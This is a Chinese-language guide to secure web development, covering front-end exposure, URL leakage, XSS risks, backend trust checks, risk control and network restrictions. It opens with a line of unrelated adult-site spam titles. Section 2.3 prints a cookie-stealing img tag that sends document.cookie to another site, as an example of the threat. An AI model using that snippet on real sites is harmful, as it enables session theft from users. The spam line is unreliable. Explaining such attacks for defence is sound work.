第七色在线视频,2021少妇久久久久久久久久,亚洲欧洲精品成人久久av18,亚洲国产精品特色大片观看完整版,孙宇晨将参加特朗普的晚宴

WEB 應用安全開發(fā)

黑客大部分利用的是軟件的漏洞,所以我們要盡可能在開發(fā)的時候切斷所有可能被利用的地方。要想開發(fā)出安全的系統(tǒng),我們需要熟悉黑客進攻的模式和防守的策略。

1. 簡介

重視安全最好的策略是將風險最大化,開發(fā)的時候要換位思考,如果我是黑客我是不是有辦法繞過當前的限制。在進行具體場景講解前,先來了解一些關(guān)鍵詞。

1.1 關(guān)鍵名詞

  • 同域: 相同域名,端口相同,協(xié)議相同,缺一不可。

  • 跨域: 瀏覽器從一個域名的網(wǎng)頁去請求另一個域名的資源時,域名、端口、協(xié)議至少有一個不相同,就是跨域。

  • ECMAScript: 簡稱(ES)JavaScript 所遵循的語法標準。

  • W3C: 即 萬維網(wǎng)聯(lián)盟 ,最重要的工作是發(fā)展 Web 規(guī)范,這些規(guī)范描述了 Web 的通信協(xié)議(比如 HTML 和 XHTML)和其他的構(gòu)建模塊。

1.2 安全領(lǐng)域的參與者

把握安全領(lǐng)域就要把握 Web 流程中的參與者,除了攻擊者外其它角色均需要提供安全的解決方案。從大的方向有下面幾大角色,沒有誰是絕對安全的。
參與者

2. 前端安全開發(fā)

前端的安全主要圍繞 W3C 進行,同時瀏覽器的漏洞和 Http 協(xié)議本身的缺陷也會造成影響。

2.1 明文防范

W3C 三個核心對象:HTML,JavaScript,CSS 分別負責了網(wǎng)站的內(nèi)容結(jié)構(gòu),動作交互邏輯,展示樣式。這么核心的東西在客戶都是很容易查看的。雖然 JavaScript 可以混淆加密,但是最終他是需要被瀏覽器解析的,所以肯定是有一套固定的規(guī)范,黑客同樣可以輕易解密。
明文也就算了,用戶居然可以任意更改上面 W3C 的核心對象,并產(chǎn)生不同的效果,真的是危機四伏。

  • 不要異想天開的在前端與后臺約定某個加密算法,這樣算法一下子就泄露了;
  • 對于前端的輸入都要保持懷疑,重要的數(shù)據(jù)如果后端允許,需要自行生成或者加以校驗;
  • 雖然客戶端的一覽無遺,但是還是要盡量使用 Https 協(xié)議,保證傳輸?shù)倪^程是加密的;
  • 需要權(quán)限的操作,即使前端按鈕隱藏了,后端的接口也需要重新鑒權(quán)下,很可能客戶端自己修改 CSS 使按鈕顯示出來了;

2.2 URL 導致的泄露問題

前端任何地方帶有 URL 的都要引起警惕,主要可能帶來下面安全問題:

  1. 構(gòu)建系統(tǒng)的某些接口等用戶登錄后觸發(fā);
  2. 調(diào)用別的網(wǎng)站,將該作用域下的 Cookie 傳輸出去。

常見隱藏點:
圖片

<img src='http:xxx'>

css 樣式

background:url(bgimage.gif)

表單 action 地址,或者注入隱藏的 input 參數(shù)

<form action=''>
<input type="hidden" name="field_name" value="value"> 

2.3 window 下的全局變量

Window 下面帶了很多可以直接使用的全局變量,要警惕危險。

圖片描述

危險點:利用 window.document 獲取本域 cookie 然后傳輸?shù)胶诳偷木W(wǎng)站

<img src='別的網(wǎng)站URL?param='+document.cookie >

容易受跨站腳本攻擊利用

window.location.href = 【該值最好不要是動態(tài)的,容易被注入】

3. 后端安全開發(fā)

3.1 規(guī)范問題

  1. 權(quán)威機構(gòu)平臺漏洞訂閱,并及時做出修改。
  2. 開發(fā)規(guī)范的遵守
    • 學習相關(guān)開發(fā)規(guī)范手冊。
    • IDEA 安裝實時的代碼掃描插件,有問題的地方及時更正。
  3. 代碼 review 實踐。
  4. 重要參數(shù)不要輕易在日志中輸出。
  5. 代碼泄露
    • 代碼不要上傳網(wǎng)上。
    • 數(shù)據(jù)庫,簽名算法,密鑰值 要重要保管,線上不相關(guān)的人不要泄露。
  6. 重要賬號不要為了一時方便提供給開發(fā),測試 等不相干人員,如果有也要及時修改密碼。

3.2 設計問題

  1. 類似活動的抽獎,優(yōu)惠卷領(lǐng)取邏輯不夠嚴謹,可能被人褥羊毛;
  2. 登錄沒有限制次數(shù),容易被暴力破解;
  3. 短信驗證沒有設置重發(fā)時間,容易被利用做短信轟炸。

3.3 信任問題

  1. 同域:檢查請求頭的 ref 參數(shù),要么是同域的,要么是信任的才響應。

  2. 請求參數(shù)

    • 不要太信任前端參數(shù),重要值后臺能獲取的盡量自己獲取。
    • 請求的所有參數(shù)都做下 XSS/ SQL 注入 的關(guān)鍵字符的過濾。
  3. 權(quán)限:涉及到權(quán)限的后端都要自己校驗,不要說前端按鈕隱藏了就可以了。

3.4 增加風控邏輯

  1. 用戶的賬號異地登陸,可以做出些限制或提醒。
  2. 某個用戶購買的某個商品或者領(lǐng)取的優(yōu)惠卷異常多,做出限制。
  3. 通過 AI 智能模型,對用戶行為,流量數(shù)據(jù)進行檢測,模型異常就做出限制。

3.5 網(wǎng)絡策略限制

  1. 數(shù)據(jù)庫,Redis,ES,等需要設置訪問的 IP 白名單。
  2. 對服務器進流量和出流量端口做限制。
  3. 架構(gòu)上面盡量隱藏內(nèi)部服務等地址。
  4. 數(shù)據(jù)庫和應用最好分開,以免被一鍋端。

4. 小結(jié)

安全問題需要經(jīng)驗累積,軟件開發(fā)作為一個團隊協(xié)作的工作,大家經(jīng)驗水平不同,所以盡量在團隊中分享安全開發(fā)的相關(guān)知識,技術(shù) Leader 定期 Review 組員代碼。